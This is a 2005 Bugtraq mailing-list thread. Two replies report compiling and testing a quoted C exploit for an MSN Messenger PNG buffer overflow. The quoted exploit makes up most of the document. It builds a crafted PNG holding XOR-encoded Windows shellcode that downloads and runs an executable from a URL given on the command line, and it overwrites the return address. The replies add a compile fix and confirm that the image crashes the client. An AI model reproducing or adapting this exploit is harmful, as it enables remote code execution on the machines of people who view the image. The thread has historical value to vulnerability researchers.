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Date: Thu, 10 Feb 2005 19:24:06 +0000
From: "Color Inc." <neoexitus@...mail.com>
To: bugtraq@...urityfocus.com
Subject: RE: MSN Messenger PNG Image Buffer Overflow Download Shellcoded Exploit
I compiled the code without having to change line 124, only had 2 warnings,
which were not critical. The vuln.png file was generated, when I put it as
my Display Picture I get:
"I'm compiled with VC6 and just 1024 bytes big :)"
then MSN Messenger crashes.
I'm using MSN Messenger 6.2.0137
>From: "Andrew Hunter" <andiroohunter@....com>
>To: bugtraq@...urityfocus.com
>Subject: RE: MSN Messenger PNG Image Buffer Overflow Download Shellcoded
>Exploit
>Date: Wed, 09 Feb 2005 19:51:26 +0000
>
>I had problems getting your code to compile, a few modifications were
>needed!
>I did get it to compile in MS VC++, and in Dev C++
>
>You need to make the following adjustments.
>
>Line 124:
>newshellcode = new char[sizeof(shellcode)+strlen(web)+1];
>
>Change it to the following:
>newshellcode = malloc((sizeof(shellcode)+strlen(web)+1));
>
>
>That is how i got it to sucessfully compile and make vuln.png
>
>Unfortunatly MSN would let me load the .png as my display picture? I am
>using MSN 7 so that is probbobly why, i will down grade to MSN 6 and try
>again.
>
>>From: ATmaCA ATmaCA <atmaca@...acasoft.com>
>>To: bugtraq@...urityfocus.com
>>Subject: MSN Messenger PNG Image Buffer Overflow Download Shellcoded
>>Exploit
>>Date: 9 Feb 2005 14:06:29 -0000
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>>FILETIME=[334BF070:01C50EC8]
>>
>>
>>
>>/*
>>*
>>* MSN Messenger PNG Image Buffer Overflow Download Shellcoded Exploit
>>* Bug discoveried by Core Security Technologies (www.coresecurity.com)
>>* Exploit coded By ATmaCA
>>* Copyright ©2002-2005 AtmacaSoft Inc. All Rights Reserved.
>>* Web: http://www.atmacasoft.com
>>* E-Mail: atmaca@...mail.com
>>* Credit to kozan and delikon
>>* Usage:exploit <OutputPath> <Url>
>>*
>>*/
>>
>>/*
>>*
>>* Tested with MSN Messenger 6.2.0137
>>* This vulnerability can be exploited on Windows 2000 (all service packs)
>>* and Windows XP (all service packs) that run vulnerable
>>* clients of MSN Messenger.
>>*
>>*/
>>
>>/*
>>*
>>* After creating vuln png image, open
>>* MSN Messenger and select it as your display picture in
>>* "Tools->Change Display Picture".
>>*
>>*/
>>
>>#include <stdio.h>
>>#include <stdlib.h>
>>#include <conio.h>
>>#include <string.h>
>>
>>
>>#ifdef __BORLANDC__
>> #include <mem.h>
>>#endif
>>
>>#define NOP 0x90
>>
>>char png_header[] =
>>"\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52"
>>"\x00\x00\x00\x40\x00\x00\x00\x40\x08\x03\x00\x00\x00\x9D\xB7\x81"
>>"\xEC\x00\x00\x01\xB9\x74\x52\x4E\x53";
>>
>>char pngeof[] = "\x90\x90\x90\x59\xE8\x47\xFE\xFF\xFF";
>>
>>/* Generic win32 http download shellcode
>> xored with 0x1d by delikon (http://delikon.de/) */
>>char shellcode[] = "\xEB"
>>"\x10\x58\x31\xC9\x66\x81\xE9\x22\xFF\x80\x30\x1D\x40\xE2\xFA\xEB\x05\xE8\xEB\xFF"
>>"\xFF\xFF\xF4\xD1\x1D\x1D\x1D\x42\xF5\x4B\x1D\x1D\x1D\x94\xDE\x4D\x75\x93\x53\x13"
>>"\xF1\xF5\x7D\x1D\x1D\x1D\x2C\xD4\x7B\xA4\x72\x73\x4C\x75\x68\x6F\x71\x70\x49\xE2"
>>"\xCD\x4D\x75\x2B\x07\x32\x6D\xF5\x5B\x1D\x1D\x1D\x2C\xD4\x4C\x4C\x90\x2A\x4B\x90"
>>"\x6A\x15\x4B\x4C\xE2\xCD\x4E\x75\x85\xE3\x97\x13\xF5\x30\x1D\x1D\x1D\x4C\x4A\xE2"
>>"\xCD\x2C\xD4\x54\xFF\xE3\x4E\x75\x63\xC5\xFF\x6E\xF5\x04\x1D\x1D\x1D\xE2\xCD\x48"
>>"\x4B\x79\xBC\x2D\x1D\x1D\x1D\x96\x5D\x11\x96\x6D\x01\xB0\x96\x75\x15\x94\xF5\x43"
>>"\x40\xDE\x4E\x48\x4B\x4A\x96\x71\x39\x05\x96\x58\x21\x96\x49\x18\x65\x1C\xF7\x96"
>>"\x57\x05\x96\x47\x3D\x1C\xF6\xFE\x28\x54\x96\x29\x96\x1C\xF3\x2C\xE2\xE1\x2C\xDD"
>>"\xB1\x25\xFD\x69\x1A\xDC\xD2\x10\x1C\xDA\xF6\xEF\x26\x61\x39\x09\x68\xFC\x96\x47"
>>"\x39\x1C\xF6\x7B\x96\x11\x56\x96\x47\x01\x1C\xF6\x96\x19\x96\x1C\xF5\xF4\x1F\x1D"
>>"\x1D\x1D\x2C\xDD\x94\xF7\x42\x43\x40\x46\xDE\xF5\x32\xE2\xE2\xE2\x70\x75\x75\x33"
>>"\x78\x65\x78\x1D";
>>
>>FILE *di;
>>int i = 0;
>>short int weblength;
>>char *web;
>>char *pointer = NULL;
>>char *newshellcode;
>>
>>/*xor cryptor*/
>>char *Sifrele(char *Name1)
>>{
>> char *Name=Name1;
>> char xor=0x1d;
>> int Size=strlen(Name);
>> for(i=0;i<Size;i++)
>> Name[i]=Name[i]^xor;
>> return Name;
>>}
>>
>>
>>void main(int argc, char *argv[])
>>{
>>
>> if (argc < 3)
>> {
>> printf("MSN Messenger PNG Image Buffer Overflow Download
>>Shellcoded Exploit\n");
>> printf("Bug discoveried by Core Security Technologies
>>(www.coresecurity.com)\n");
>> printf("Exploit coded By ATmaCA\n");
>> printf("Copyright ©2002-2005 AtmacaSoft Inc. All Rights
>>Reserved.\n");
>> printf("Web: http://www.atmacasoft.com\n");
>> printf("E-Mail: atmaca@...mail.com\n");
>> printf("Credit to kozan and delikon\n\n");
>> printf("\tUsage:exploit <OutputPath> <Url>\n");
>> printf("\tExample:exploit vuln.png
>>http://www.atmacasoft.com/exp/msg.exe\n");
>>
>> return;
>> }
>>
>>
>> web = argv[2];
>>
>>
>> if( (di=fopen(argv[1],"wb")) == NULL )
>> {
>> printf("Error opening file!\n");
>> return;
>> }
>> for(i=0;i<sizeof(png_header)-1;i++)
>> fputc(png_header[i],di);
>>
>> /*stuff in a couple of NOPs*/
>> for(i=0;i<99;i++)
>> fputc(NOP,di);
>>
>> weblength=(short int)0xff22;
>> pointer=strstr(shellcode,"\x22\xff");
>> weblength-=strlen(web)+1;
>> memcpy(pointer,&weblength,2);
>> newshellcode = new char[sizeof(shellcode)+strlen(web)+1];
>> strcpy(newshellcode,shellcode);
>> strcat(newshellcode,Sifrele(web));
>> strcat(newshellcode,"\x1d");
>>
>> //shell code
>> for(i=0;i<strlen(newshellcode);i++)
>> fputc(newshellcode[i],di);
>>
>>
>> for(i=0;i<(83-strlen(web));i++) //NOPs
>> fputc(NOP,di);
>>
>> /*Overwriting the return address (EIP)*/
>> /*0x005E0547 - ret */
>> fputc(0x47,di);
>> fputc(0x05,di);
>> fputc(0x5e,di);
>> fputc(0x00,di);
>>
>> for(i=0;i<sizeof(pngeof)-1;i++)
>> fputc(pngeof[i],di);
>>
>> printf("Vulnarable png file %s has been generated!\n",argv[1]);
>>
>> fclose(di);
>>}
>>
>
>
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